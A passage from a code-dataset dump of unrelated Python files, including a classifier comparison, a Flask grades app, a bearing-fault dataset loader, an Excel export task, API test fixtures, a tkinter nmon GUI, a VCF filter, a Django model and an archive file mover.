dtype=float))\n X_chro = scaler.fit_transform(np.array(chro_data, dtype=float).reshape(-1, 1)) # reshape is necessary for 1-column data\n X_spec = scaler.fit_transform(np.array(spec_data, dtype=float).reshape(-1, 1))\n X_zero = scaler.fit_transform(np.array(zero_data, dtype=float).reshape(-1, 1))\n X_mfcc = scaler.fit_transform(np.array(mfcc_data, dtype=float))\n \n feature_list = [[X_all, \"all\"], [X_chro, \"chroma_stft\"], [X_spec, \"spectral_centroid\"],\n [X_zero, \"zero_crossing_rate\"], [X_mfcc, \"mfcc\"]]\n \n #______________________ Learning Initilization _____________________________________\n \n lr = LogisticRegression()\n mlp = MLPClassifier(random_state=3)\n rf = RandomForestClassifier()\n svml = svm.SVC(kernel=\"linear\")\n svmp = svm.SVC(kernel=\"poly\")\n svmr = svm.SVC(kernel=\"rbf\")\n svms = svm.SVC(kernel=\"sigmoid\")\n \n classifier_list = [[lr, \"LogisticRegression\"], [mlp, \"MLPClassifier\"], [rf, \"RandomForestClassifier\"],\n [svml, \"SupportVectorMachine(linear)\"], [svmp, \"SupportVectorMachine(poly)\"],\n [svmr, \"SupportVectorMachine(rbf)\"], [svms, \"SupportVectorMachine(sigmoid)\"]]\n\n #________________________________ save ______________________________________________\n\n for X, feat_name in feature_list:\n for classifier, classifier_name in classifier_list:\n write_accuracy_to_file(acc_file_name, classifier_name, classifier, feat_name, X, y, repetitions)\n\n\n# Now use the above function to create a file named 'accuracy_overview.csv', with the desired accuracies in it.\n# Here 25 repetitions (different train_test_splits) are used.\nfeatures_file_name = \"all_features_whole_songs.csv\"\nacc_file_name = \"11test.csv\"\n#\n# write_headline(acc_file_name)\n# compute_data(acc_file_name, file_name, 25)\n\n# # Could take some minutes.\n\n\n# # Prints out how long the program was running, in seconds.\n# endtime = time.time()\n# print(\"{:5.3f}s\".format(endtime - starttime))\n","sub_path":"src/1_TEST_compare_accuracy.py","file_name":"1_TEST_compare_accuracy.py","file_ext":"py","file_size_in_byte":6454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"264888850","text":"\"\"\"A web application for tracking projects, students, and student grades.\"\"\"\n\nfrom flask import Flask, request, render_template\n\nimport hackbright\n\napp = Flask(__name__)\n\n\n@app.route('/homepage')\ndef display_homepage():\n \"\"\"Show homepage\"\"\"\n\n all_students = hackbright.get_all_students()\n all_projects = hackbright.get_all_projects()\n\n return render_template('homepage.html', all_students=all_students,\n all_projects=all_projects)\n\n@app.route(\"/student\")\ndef get_student():\n \"\"\"Show information about a student.\"\"\"\n\n github = request.args.get('github')\n\n first, last, github = hackbright.get_student_by_github(github)\n grades_titles = hackbright.get_grades_by_github(github)\n\n html = render_template('student_info.html', first=first,\n last=last,\n github=github,\n grades_titles=grades_titles)\n\n return html\n\n@app.route(\"/student-search\")\ndef get_student_form():\n \"\"\"Show form for searching for a student.\"\"\"\n\n return render_template(\"student_search.html\")\n\n\n@app.route('/student-creation')\ndef display_student_add():\n \"\"\"displays student add\"\"\"\n\n return render_template('student_add.html')\n\n\n@app.route(\"/student-add\", methods=['POST'])\ndef student_add():\n \"\"\"Add a student.\"\"\"\n\n# Is there a way to capture different values all at one time instead of \n#separately as below? No.\n\n first = request.form.get('first')\n last = request.form.get('last')\n github = request.form.get('github')\n\n hackbright.make_new_student(first, last, github)\n\n return render_template('add_confirmation.html', github=github)\n\n\n# @app.route('/project-selection')\n# def display_project_selection():\n# \"\"\"\"display project title selection page\"\"\"\n\n# return render_template('select_project.html')\n\n@app.route('/project')\ndef display_project():\n \"\"\"display project\"\"\"\n\n project_title = request.args.get('project')\n title, description, max_grade = hackbright.get_project_by_title(project_title)\n\n github_grades = hackbright.get_grades_by_title(project_title)\n\n return render_template('project_info.html', title=title,\n description=description,\n max_grade=max_grade,\n github_grades=github_grades)\n\n\n\n\nif __name__ == \"__main__\":\n hackbright.connect_to_db(app)\n app.run(debug=True)\n","sub_path":"hackbright_web.py","file_name":"hackbright_web.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"126948639","text":"import os\nfrom scipy.io import loadmat\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom sklearn.model_selection import train_test_split\nfrom src.datasets.SequenceDatasets import dataset\nfrom src.datasets.sequence_aug import *\nfrom tqdm import tqdm\n\n#Digital data was collected at 12,000 samples per second\nsignal_size = 1024\ndataname= {0:[\"t_s_normal0.mat\",\"t_s_ball0.mat\", \"t_s_holder0.mat\", \"t_s_inner0.mat\", \"t_s_outer0.mat\"],\n 1:[\"t_s_normal1.mat\",\"t_s_ball1.mat\", \"t_s_holder1.mat\", \"t_s_inner1.mat\", \"t_s_outer1.mat\"],\n 2:[\"un_supp_s_0.mat\",\"un_supp_s_1.mat\", \"un_supp_s_2.mat\", \"un_supp_s_3.mat\", \"un_supp_s_4.mat\"]}\n\ndatasetname = [\"condition0\", \"condition1\", \"condition2\"]\naxis = [\"slot\"]\nlabel = [i for i in range(0, 5)]\n\n# ----------------------------------------------------------------------------------------------------------------------\n# the original dataname\n# dataname= {0:[\"97.mat\",\"105.mat\", \"118.mat\", \"130.mat\", \"169.mat\", \"185.mat\", \"197.mat\", \"209.mat\", \"222.mat\",\"234.mat\"], # 1797rpm\n# 1:[\"98.mat\",\"106.mat\", \"119.mat\", \"131.mat\", \"170.mat\", \"186.mat\", \"198.mat\", \"210.mat\", \"223.mat\",\"235.mat\"], # 1772rpm\n# 2:[\"99.mat\",\"107.mat\", \"120.mat\", \"132.mat\", \"171.mat\", \"187.mat\", \"199.mat\", \"211.mat\", \"224.mat\",\"236.mat\"], # 1750rpm\n# 3:[\"100.mat\",\"108.mat\", \"121.mat\",\"133.mat\", \"172.mat\", \"188.mat\", \"200.mat\", \"212.mat\", \"225.mat\",\"237.mat\"]} # 1730rpm\n#\n# datasetname = [\"12k Drive End Bearing Fault Data\", \"12k Fan End Bearing Fault Data\", \"48k Drive End Bearing Fault Data\",\n# \"Normal Baseline Data\"]\n# axis = [\"_DE_time\", \"_FE_time\", \"_BA_time\"]\n# label = [i for i in range(0, 10)]\n# ----------------------------------------------------------------------------------------------------------------------\n\n\n\n\n\n\n\n\n\ndef get_files(root, N):\n '''\n This function is used to get normalized data and corresponding label.\n root:The location of the data set\n N: list, 其他代码中的 source_N / target_N example: N={0,1}, 即工况序列\n '''\n data = []\n lab =[]\n for k in range(len(N)):\n for n in tqdm(range(len(dataname[N[k]]))):\n # 确定数据文件名(路径)\n # if n==0:\n # path1 = os.path.join(root, datasetname[3], dataname[N[k]][n])\n # else:\n # path1 = os.path.join(root, datasetname[0], dataname[N[k]][n])\n path1 = os.path.join(root, datasetname[N[k]], dataname[N[k]][n])\n # 加载数据\n data1, lab1 = data_load(path1,dataname[N[k]][n],label=label[n])\n lab1=k*100+np.array(lab1)#k是域标签,lab1代表的是类标签\n lab1=lab1.tolist()\n data += data1\n lab +=lab1\n return [data, lab]\n\n\ndef data_load(filename, axisname, label):\n '''\n This function is mainly used to 加载一种工况下一种故障的_DE_time数据.\n comment:这里的axisname命名不准确,实际发挥dataname,数据文件名的作用。\n filename:Data location\n axisname:Select which channel's data,---->\"_DE_time\",\"_FE_time\",\"_BA_time\"\n '''\n # example: datanumber ['97', 'mat']\n # datanumber = axisname.split(\".\")\n # generate the column name of the data in the .mat file\n\n # if eval(datanumber[0]) < 2:\n # if eval(datanumber[0]) < 100:\n # # axis[0] 实际就是'_DE_time'\n # realaxis = \"X0\" + datanumber[0] + axis[0]\n # else:\n # realaxis = \"X\" + datanumber[0] + axis[0]\n # actually load the data\n\n\n # realaxis may be 1 or 0, need test\n fl = loadmat(filename)['Data']\n data = []\n lab = []\n start, end = 0, signal_size\n while end <= fl.shape[0]:\n data.append(fl[start:end])\n lab.append(label)\n start += signal_size\n end += signal_size\n\n return data, lab\n\n#--------------------------------------------------------------------------------------------------------------------\nclass CWRU(object):\n num_classes = 5\n inputchannel = 1\n def __init__(self, data_dir, transfer_task, normlizetype=\"0-1\"):\n self.data_dir = data_dir\n self.source_N = transfer_task[0]\n print('self.source_N',self.source_N)\n self.target_N = transfer_task[1]\n self.normlizetype = normlizetype\n self.data_transforms = {\n 'train': Compose([\n Reshape(),\n Normalize(self.normlizetype),\n # RandomAddGaussian(),\n # RandomScale(),\n # RandomStretch(),\n # RandomCrop(),\n Retype(),\n # Scale(1)\n ]),\n 'val': Compose([\n Reshape(),\n Normalize(self.normlizetype),\n Retype(),\n # Scale(1)\n ])\n }\n\n def data_split(self, transfer_learning=True):\n if transfer_learning:\n # get source train and val\n list_data = get_files(self.data_dir, self.source_N)\n data_pd = pd.DataFrame({\"data\": list_data[0], \"label\": list_data[1]})\n train_pd, val_pd = train_test_split(data_pd, test_size=0.2, random_state=40, stratify=data_pd[\"label\"])\n source_train = dataset(list_data=train_pd, transform=self.data_transforms['train'])\n source_val = dataset(list_data=val_pd, transform=self.data_transforms['val'])\n\n # get target train and val\n list_data = get_files(self.data_dir, self.target_N)\n data_pd = pd.DataFrame({\"data\": list_data[0], \"label\": list_data[1]})\n train_pd, val_pd = train_test_split(data_pd, test_size=0.2, random_state=40, stratify=data_pd[\"label\"])\n target_train = dataset(list_data=train_pd, transform=self.data_transforms['train'])\n target_val = dataset(list_data=val_pd, transform=self.data_transforms['val'])\n return source_train, source_val, target_train, target_val\n else:\n #get source train and val\n list_data = get_files(self.data_dir, self.source_N)\n data_pd = pd.DataFrame({\"data\": list_data[0], \"label\": list_data[1]})\n train_pd, val_pd = train_test_split(data_pd, test_size=0.2, random_state=40, stratify=data_pd[\"label\"])\n source_train = dataset(list_data=train_pd, transform=self.data_transforms['train'])\n source_val = dataset(list_data=val_pd, transform=self.data_transforms['val'])\n\n # get target train and val\n list_data = get_files(self.data_dir, self.target_N)\n data_pd = pd.DataFrame({\"data\": list_data[0], \"label\": list_data[1]})\n target_val = dataset(list_data=data_pd, transform=self.data_transforms['val'])\n return source_train, source_val, target_val\n\n\n\"\"\"\n def data_split(self):\n\"\"\"","sub_path":"src/datasets/multi_CWRU.py","file_name":"multi_CWRU.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"285799194","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nfrom os import path, makedirs\nimport time\nfrom openpyxl import Workbook\nimport json\n\nfrom uline.backend.__init__ import *\n\ncur_dir = path.dirname(path.dirname(path.dirname(path.abspath(__file__))))\nfrom uline.public.constants import RECON_HANDLE_STATUS, RECON_EXCEPT_TYPE, DOWNLOAD_INFO_NUM_LIMIT\nfrom uline.public import common, log\n\n\n@app.task\ndef generate_xls(user_id, create_at_start,\n create_at_end, out_refund_no,\n except_type, handle_status, total_num):\n '''对账时间 商户订单号 uline对账金额 第三方对账金额 异常类型 处理状态'''\n wb = Workbook()\n inlet_info_ws = wb.create_sheet(u'退款对账异常', 0)\n\n order_id = common.create_order_id()\n file_name, file_path, static_path = general_filename(user_id)\n if total_num > DOWNLOAD_INFO_NUM_LIMIT:\n gen_order_download_info(order_id, user_id, file_name)\n\n try:\n\n inlet_info_data = db_inlet_info(create_at_start,\n create_at_end, out_refund_no,\n except_type, handle_status)\n\n gen_inlet_info(inlet_info_ws, inlet_info_data)\n wb.save(file_path)\n if total_num > DOWNLOAD_INFO_NUM_LIMIT:\n modify_order_download_info(order_id, 2)\n except Exception as err:\n if total_num > DOWNLOAD_INFO_NUM_LIMIT:\n modify_order_download_info(order_id, 3)\n log.exception.info(err)\n return {'static_path': False}\n return {'static_path': static_path}\n\n\ndef db_inlet_info(create_at_start,\n create_at_end, out_refund_no,\n except_type, handle_status):\n query = \"\"\"select\n to_char(create_at, 'YYYY-MM-DD HH24:MI:SS'),\n out_refund_no,\n handle_status,\n except_type,\n detail\n from recon_refund_error_info\n where\n (except_type=%(except_type)s or %(except_type)s is null)\n and (handle_status=%(handle_status)s or %(handle_status)s is null)\n and (out_refund_no=%(out_refund_no)s or %(out_refund_no)s is null)\n and (create_at BETWEEN %(create_at_start)s::TIMESTAMP AND %(create_at_end)s::TIMESTAMP\n OR %(create_at_start)s IS NULL OR %(create_at_end)s IS NULL )\n ORDER BY create_at desc;\"\"\"\n\n ret = db.selectSQL(query, {\n 'except_type': except_type,\n 'handle_status': handle_status,\n 'out_refund_no': out_refund_no,\n 'create_at_start': create_at_start,\n 'create_at_end': create_at_end\n }, fetchone=False)\n\n if ret:\n ret = [list(i) for i in ret]\n ret_l = list()\n for data in ret:\n error_detail = json.loads(data[4])\n total_fee = deal_total_fee(error_detail.get('refund_fee'))\n data[2], data[3] = RECON_HANDLE_STATUS[str(data[2])], RECON_EXCEPT_TYPE[str(data[3])]\n del data[4]\n data.extend(total_fee)\n ret_l.append(data)\n return ret_l\n return []\n\n\ndef gen_order_download_info(order_id, user_id, file_name):\n create_at = update_at = common.timestamp_now()\n query = \"\"\"insert into order_download_info (order_id, user_id, file, type, status, platform, create_at, update_at)\n values (%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n db.executeSQL(query, (order_id, user_id, file_name, 4, 1, 2, create_at, update_at))\n\n\ndef modify_order_download_info(order_id, status):\n update_at = common.timestamp_now()\n query = \"\"\"update order_download_info set status=%s,update_at=%s where order_id=%s;\"\"\"\n db.executeSQL(query, (status, update_at, order_id))\n\n\ndef deal_total_fee(total_fee):\n # 某些可能没有数值,是'请查看详情字段'\n if total_fee[0] and str(total_fee[0]).isdigit():\n total_fee[0] = int(total_fee[0]) / 100\n if total_fee[1] and str(total_fee[1]).isdigit():\n total_fee[1] = int(total_fee[1]) / 100\n return total_fee\n\n\ndef gen_inlet_info(ws, datas):\n fields = [u'对账时间', u'商户订单号', u'处理状态', u'异常类型', u'uline对账金额', u'第三方对账金额']\n\n ws.append(fields)\n\n for data in datas:\n ws.append(list(data))\n\n\ndef general_filename(user_id):\n _ts = str(time.time())\n filename = \"recon_refund_error_export_\" + _ts + \".xlsx\"\n user_dl_path = path.join(cur_dir, \"static/downloads/\", str(user_id))\n if not path.exists(user_dl_path):\n makedirs(user_dl_path)\n file_path = path.join(user_dl_path, filename)\n static_path = path.join(\"/static/downloads/\", str(user_id), filename)\n return filename, file_path, static_path\n","sub_path":"python/uline/uline/uline/backend/bank/generate_refund_error_info.py","file_name":"generate_refund_error_info.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"142434397","text":"import os\nfrom datetime import datetime, timezone\nfrom fastapi.testclient import TestClient\n\nfrom ..main import app\n\nclient = TestClient(app)\ntoken = os.environ[\"VF_TEST_TOKEN\"]\nAUTH_HEADER = {\"Authorization\": f\"Bearer {token}\"}\n\n\ndef _build_sample_model():\n now = datetime.now(timezone.utc)\n return {\n \"name\": f\"TestModel API v2 {now.isoformat()}\",\n \"alias\": f\"TestModel-APIv2-{now.isoformat()}\",\n \"author\": [\n {\"given_name\": \"Frodo\", \"family_name\": \"Baggins\"},\n {\"given_name\": \"Tom\", \"family_name\": \"Bombadil\"},\n ],\n \"owner\": [{\"given_name\": \"Frodo\", \"family_name\": \"Baggins\"}],\n \"project_id\": \"model-validation\",\n \"organization\": \"HBP-SGA3-WP5\",\n \"private\": True,\n \"species\": \"Ornithorhynchus anatinus\",\n \"brain_region\": \"hippocampus\",\n \"model_scope\": \"network\",\n \"abstraction_level\": \"spiking neurons: point neuron\",\n \"cell_type\": None,\n \"description\": \"description goes here\",\n \"images\": [{\"caption\": \"Figure 1\", \"url\": \"http://example.com/figure_1.png\"}],\n \"instances\": [\n {\n \"version\": \"1.23\",\n \"description\": \"description of this version\",\n \"parameters\": \"{'meaning': 42}\",\n \"code_format\": \"Python\",\n \"source\": \"http://example.com/my_code.py\",\n \"license\": \"MIT\",\n }\n ],\n }\n\n\ndef _build_sample_validation_test():\n now = datetime.now(timezone.utc)\n return {\n \"name\": f\"TestValidationTestDefinition API v2 {now.isoformat()}\",\n \"alias\": f\"TestValidationTestDefinition-APIv2-{now.isoformat()}\",\n \"author\": [\n {\"given_name\": \"Frodo\", \"family_name\": \"Baggins\"},\n {\"given_name\": \"Tom\", \"family_name\": \"Bombadil\"},\n ],\n \"implementation_status\": \"proposal\",\n \"species\": \"Mus musculus\",\n \"brain_region\": \"hippocampus\",\n \"cell_type\": \"hippocampus CA1 pyramidal cell\",\n \"description\": \"description goes here\",\n \"data_location\": [\"http://example.com/my_data.csv\"],\n \"data_type\": \"csv\",\n \"recording_modality\": \"electrophysiology\",\n \"test_type\": \"single cell activity\",\n \"score_type\": \"z-score\",\n \"instances\": [\n {\n \"version\": \"1.23\",\n \"description\": \"description of this version\",\n \"parameters\": \"{'meaning': 42}\",\n \"path\": \"mylib.tests.MeaningOfLifeTest\",\n \"repository\": \"http://example.com/my_code.py\",\n }\n ],\n }\n\n\ndef _build_sample_result(model_instance_id, test_instance_id):\n now = datetime.now(timezone.utc)\n return {\n \"model_instance_id\": model_instance_id,\n \"test_instance_id\": test_instance_id,\n \"results_storage\": [\n {\n \"download_url\": f\"http://example.com/validation_result_{now.strftime('%Y%m%d-%H%M%S')}\"\n },\n {\n \"file_store\": \"drive\",\n \"local_path\": \"/spiketrainsx2.h5\",\n \"id\": \"adavison\"\n }\n ],\n \"score\": 0.1234,\n \"passed\": True,\n \"project_id\": \"model-validation\",\n \"normalized_score\": 0.2468,\n }\n","sub_path":"validation_service_v2/validation_service/tests/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"264665975","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef f(x):\n if -5 <= x <= 5:\n return x**2\n elif x < -5:\n return 2*abs(x)-1\n elif x > 5:\n return 2*x\n else:\n raise ValueError\n\n\nx = np.arange(-10, 11, 1)\ny = []\n\nfor i in x:\n y.append(f(i))\n print(i)\n\nplt.plot(x, y)\nplt.show() # Хаха, функция похржа на ту птичку из мема \"Так, блэт\"\n","sub_path":"week06/zad_5.py","file_name":"zad_5.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"595720020","text":"from tkinter import *\r\nimport time\r\nimport datetime\r\nimport os\r\n\r\n# 设置日志 毫秒保留前三位 14:18:23.978\r\ndef log_info():\r\n return str(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]).split(' ')[1] + ':[info] '\r\ndef log_error():\r\n return str(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]).split(' ')[1] + ':[error] '\r\ndef log_warning():\r\n return str(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]).split(' ')[1] + ':[warning] '\r\n\r\nclass TK(object):\r\n\r\n def __init__(self, root): #直接使用root传值\r\n self.root1 = Frame(root)\r\n self.root1.pack()\r\n self.buju()\r\n\r\n def buju(self):\r\n # 添加一个frame,text与滚动条进行关联\r\n fm = Frame(root)\r\n scroll = Scrollbar(fm, orient=VERTICAL)\r\n self.path_text = Text(fm, font=('宋体', 11),\r\n bg='#FFFEEE', fg='green',\r\n width=95, height=23,\r\n spacing1=5)\r\n path = Label(root, text='nmon路径:', font=('宋体', 14))\r\n self.path_entry = Entry(root, show=None, font=('Arial', 12), width=35)\r\n\r\n scroll.config(command=self.path_text.yview)\r\n self.path_text.config(yscrollcommand=scroll.set)\r\n scroll.pack(side=RIGHT, fill=Y)\r\n self.path_text.pack(fill=X, padx=1, pady=10, side=TOP)\r\n fm.pack()\r\n\r\n path.place(x=20, y=510)\r\n self.path_entry.place(x=150, y=510)\r\n #path_text.grid(row=1, columnspan=2, sticky=W+E+N+S, padx=5, pady=5, ) #合并两行,两列,居中,四周外延5个长度\r\n\r\n\r\n def ok(self):\r\n\r\n nmonpath = self.path_entry.get()\r\n\r\n if len(nmonpath) == 0:\r\n nmonpath = 'None 值'\r\n #判断输入的路径是否合法\r\n if ('c:\\\\' not in nmonpath) and ('d:\\\\' not in nmonpath) and ('e:\\\\' not in nmonpath) and ('f:\\\\' not in nmonpath)\\\r\n and ('C:\\\\' not in nmonpath) and ('D:\\\\' not in nmonpath) and ('E:\\\\' not in nmonpath) and ('F:\\\\' not in nmonpath):\r\n self.path_text.insert(END, log_error() + '您输入的是 ' + nmonpath + ' ,属非法路径。\\n')\r\n self.root1.update() #更新输入的内容\r\n self.path_text.insert(END, log_warning() + '请输入正确的windows路径。\\n') #打印日志\r\n else:\r\n self.path_text.insert(END, log_info() + '您输入的路径是:' + nmonpath + '\\n')\r\n self.path_text.see(END)\r\n self.path_text.focus_force() #获取光标\r\n for i in range(10):\r\n self.path_text.insert(END, log_info() + 'range的结果:' + str(i) + '\\n')\r\n self.root1.update()\r\n self.path_text.see(END) #在text控件中自动滚动显示log内容\r\n time.sleep(1)\r\n\r\n #打开结果目录\r\n def result(self):\r\n\r\n nmonpath = self.path_entry.get()\r\n if ('c:\\\\' not in nmonpath) and ('d:\\\\' not in nmonpath) and ('e:\\\\' not in nmonpath) and ('f:\\\\' not in nmonpath)\\\r\n and ('C:\\\\' not in nmonpath) and ('D:\\\\' not in nmonpath) and ('E:\\\\' not in nmonpath) and ('F:\\\\' not in nmonpath):\r\n self.path_text.insert(END, log_error() + '您输入的是 ' + nmonpath + ' ,属非法路径。\\n')\r\n self.path_text.see(END)\r\n self.root1.update()\r\n time.sleep(0.5)\r\n self.path_text.insert(END, log_warning() + '请输入正确的windows路径。\\n') # 打印日志\r\n self.path_text.see(END)\r\n else:\r\n self.root1.update()\r\n self.path_text.insert(INSERT, log_info() + '结果路径:' + nmonpath + '\\\\result' + '\\n')\r\n self.path_text.see(END)\r\n os.system('start explorer ' + nmonpath + '\\\\result') #打开分析结果文件夹\r\n self.path_text.insert(INSERT, log_info() + '正在nmon分析结果文件夹,请稍等片刻' + '\\n')\r\n self.path_text.see(END)\r\n\r\n #中止nmon分析过程,考虑使用多线程\r\n def kill1(self):\r\n #path_text, path_entry = buju()\r\n self.path_text.insert(END, log_error() + 'nmon分析过程被人为中断,请重新核对分析过程是否正确,谢谢。\\n请重新启动\\n')\r\n self.path_text.see(END)\r\n\r\n def main(self):\r\n #path_text, path_entry = buju()\r\n self.path_text.insert(END, '您好,欢迎使用,path:f:\\Python\\workspace\\csvfile\\n')\r\n\r\n path_entrybt = Button(root, text='nmon分析', command=self.ok, font=('宋体', 11), fg='green')\r\n resultbt = Button(root, text='打开结果目录', command=self.result, font=('宋体', 11), fg='green')\r\n killbt = Button(root, text='中止分析', command=self.kill1, font=('宋体', 11), fg='green')\r\n\r\n path_entrybt.place(x=490, y=504)\r\n resultbt.place(x=580, y=504)\r\n killbt.place(x=700, y=504)\r\n\r\nif __name__ == '__main__':\r\n root = Tk()\r\n root.title('apple')\r\n root.geometry('800x600')\r\n root.resizable(False, False) # 窗口不能缩小 放大\r\n\r\n TK(root).main() #class传值\r\n root.mainloop()\r\n","sub_path":"tkexe.py","file_name":"tkexe.py","file_ext":"py","file_size_in_byte":5162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"232464498","text":"###################################################################\n# File Name: filter_vcf_by_bed.py\n# Author: yaomingyue\n# mail: yaomingyue@fuanhua.com\n# Created Time: 2017年11月07日 星期二 09时06分40秒\n#=============================================================\n#!/usr/bin/env python\n#-*- coding:utf8 -*-\n'''This script was used to filter the vcf by the bed'''\nimport argparse\ndef get_capture_region(bed_input):\n\tdic={}\n\tfor line in bed_input:\n\t\tif line.startswith(\"chr\"):\n\t\t\ttmp=line.strip().split()\n\t\t\tif tmp[0] not in dic:\n\t\t\t\tdic[tmp[0]]={}\n\t\t\tfor i in range(int(tmp[1]),int(tmp[2])+1):\n\t\t\t\tdic[tmp[0]][i]=\"\"\n\treturn dic\n\ndef filter_the_vcf(bed_input,vcf_input,output):\n\tdic=get_capture_region(bed_input)\n\tfor line in vcf_input:\n\t\tif line.startswith(\"#\"):\n\t\t\toutput.write(line)\n\t\t\tcontinue\n\t\ttmps=line.strip().split(\"\\t\")\n\t\tif tmps[0] in dic and int(tmps[1]) in dic[tmps[0]]:\n\t\t\toutput.write(line)\n\toutput.close\n\n\n\ndef main():\n\tparser=argparse.ArgumentParser(description=__doc__)\n\tparser.add_argument('-i','--input',help='The vcf need to be filtered',dest='vcf_input',required=True,type=open)\n\tparser.add_argument('-t',help='the bed of exon chip',dest='bed_input',required=True,type=open)\n\tparser.add_argument('-o','--output',help='the filtered vcf output',dest=\"output\",required=True,type=argparse.FileType('w'))\n\targs=parser.parse_args()\n\tfilter_the_vcf(args.bed_input,args.vcf_input,args.output)\n\nif __name__==\"__main__\":\n\tmain()\n","sub_path":"WGS/bin/filter_vcf_by_bed.py","file_name":"filter_vcf_by_bed.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"387395855","text":"from django.db import models\n\n# Create your models here.\n\nclass Recipe(models.Model):\n type_choice = [\n ('BR','Breakfast'),\n ('DN','Dinner'),\n ('SP','Supper'),\n ('DR','Drink'),\n ('VG','Vegan')\n ]\n\n ingredients_choice = [\n ('meat',(\n ('lamb','Lamb'),\n ('beef','Beef'),\n ('chicken','Chicken')\n )\n ),\n ('fish',(\n ('salmon','Salmon'),\n ('tuna','Tuna')\n )\n ),\n ('oil',(\n ('rapeseed','Rapeseed'),\n ('olive','Olive'),\n ('sunflower','sunflower')\n )\n )\n ]\n\n name = models.CharField(max_length=100)\n ingredients = models.CharField(choices=ingredients_choice, max_length=4, default='meat')\n type = models.CharField(max_length=2, choices=type_choice, default='BR')\n estimated_time = models.IntegerField(default=10)\n steps = models.TextField(default=\"Write some steps\")","sub_path":"first/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"94030798","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nimport tarfile\nimport zipfile\nimport os\n\n\ndef add_file(fileto, filels):\n\n # 如果fileto存在,则添加文件\n if os.path.exists(fileto):\n if fileto[-4:] == '.zip':\n with zipfile.ZipFile(fileto, 'a') as myzip:\n for filename in filels:\n myzip.write(\"temp/\" + filename, arcname=filename)\n\n elif fileto[-4:] == '.tgz' or fileto[-7:] == '.tar.gz':\n ls = []\n with tarfile.open(fileto, 'r:gz') as mytar:\n ls += mytar.getnames()\n for i in ls:\n mytar.extract(i, \"tartemp\")\n with tarfile.open(fileto, 'w:gz') as mytar:\n for i in ls:\n mytar.add(\"tartemp/\" + i, arcname=i)\n for filename in filels:\n mytar.add(\"temp/\" + filename, arcname=filename)\n for i in ls:\n os.remove(\"tartemp/\" + i)\n os.rmdir(\"tartemp\")\n\n elif fileto[-4:] == '.tbz' or fileto[-8:] == '.tar.bz2':\n ls = []\n with tarfile.open(fileto, 'r:bz2') as mytar:\n ls += mytar.getnames()\n for i in ls:\n mytar.extract(i, \"tartemp\")\n with tarfile.open(fileto, 'w:bz2') as mytar:\n for i in ls:\n mytar.add(\"tartemp/\" + i, arcname=i)\n for filename in filels:\n mytar.add(\"temp/\" + filename, arcname=filename)\n for i in ls:\n os.remove(\"tartemp/\" + i)\n os.rmdir(\"tartemp\")\n # 如果fileto不存在,则创建fileto\n else:\n if fileto[-4:] == '.zip':\n with zipfile.ZipFile(fileto, 'x') as myzip:\n for filename in filels:\n myzip.write(\"temp/\" + filename, arcname=filename)\n\n elif fileto[-4:] == '.tgz' or fileto[-7:] == '.tar.gz':\n with tarfile.open(fileto, 'x:gz') as mytar:\n for filename in filels:\n mytar.add(\"temp/\" + filename, arcname=filename)\n\n elif fileto[-4:] == '.tbz' or fileto[-8:] == '.tar.bz2':\n with tarfile.open(fileto, 'x:bz2') as mytar:\n for filename in filels:\n mytar.add(\"temp/\" + filename, arcname=filename)\n\n\n for filename in filels:\n os.remove(\"temp/\" + filename)\n os.rmdir(\"temp\")\n\n\ndef extract_file(filefrom, filels):\n\n if filefrom[-4:] == '.zip':\n with zipfile.ZipFile(filefrom, 'r') as myzip:\n for filename in filels:\n myzip.extract(filename, \"temp\")\n elif filefrom[-4:] == '.tgz' or filefrom[-7:] == '.tar.gz':\n with tarfile.open(filefrom, 'r:gz') as mytar:\n for filename in filels:\n mytar.extract(filename, \"temp\")\n elif filefrom[-4:] == '.tbz' or filefrom[-8:] == '.tar.bz2':\n with tarfile.open(filefrom, 'r:bz2') as mytar:\n for filename in filels:\n mytar.extract(filename, \"temp\")\n\n\ndef move_file(filefrom, fileto, filels):\n # 解压文件到temp文件夹\n extract_file(filefrom, filels)\n # 将temp文件夹的文件全部移动到目标文档里并删除temp文件夹\n add_file(fileto, filels)\n # 将文件从原文档删除\n\n\ndef main():\n\n filels = []\n filefrom = input(\"请输入要移动的文件所在的文档名称:\")\n fileto = input(\"请输入文件要加入的文档名称:\")\n while True:\n filename = input(\"请输入要移动的文件名称(输入q离开):\")\n if filename == 'q':\n break\n else:\n filels.append(filename)\n try:\n move_file(filefrom, fileto, filels)\n except Exception as e:\n print(\"移动失败!\", + e)\n else:\n print(\"移动成功!\")\n\n\nif __name__ == '__main__':\n\n main()\n \n","sub_path":"PythonCoreCourse2/ex9/ex9_24.py","file_name":"ex9_24.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"36436260","text":"import adage\nimport adage.dagstate\nfrom adage import adageop, Rule\n\n#import some task functions that we'd like to run\nfrom physicstasks 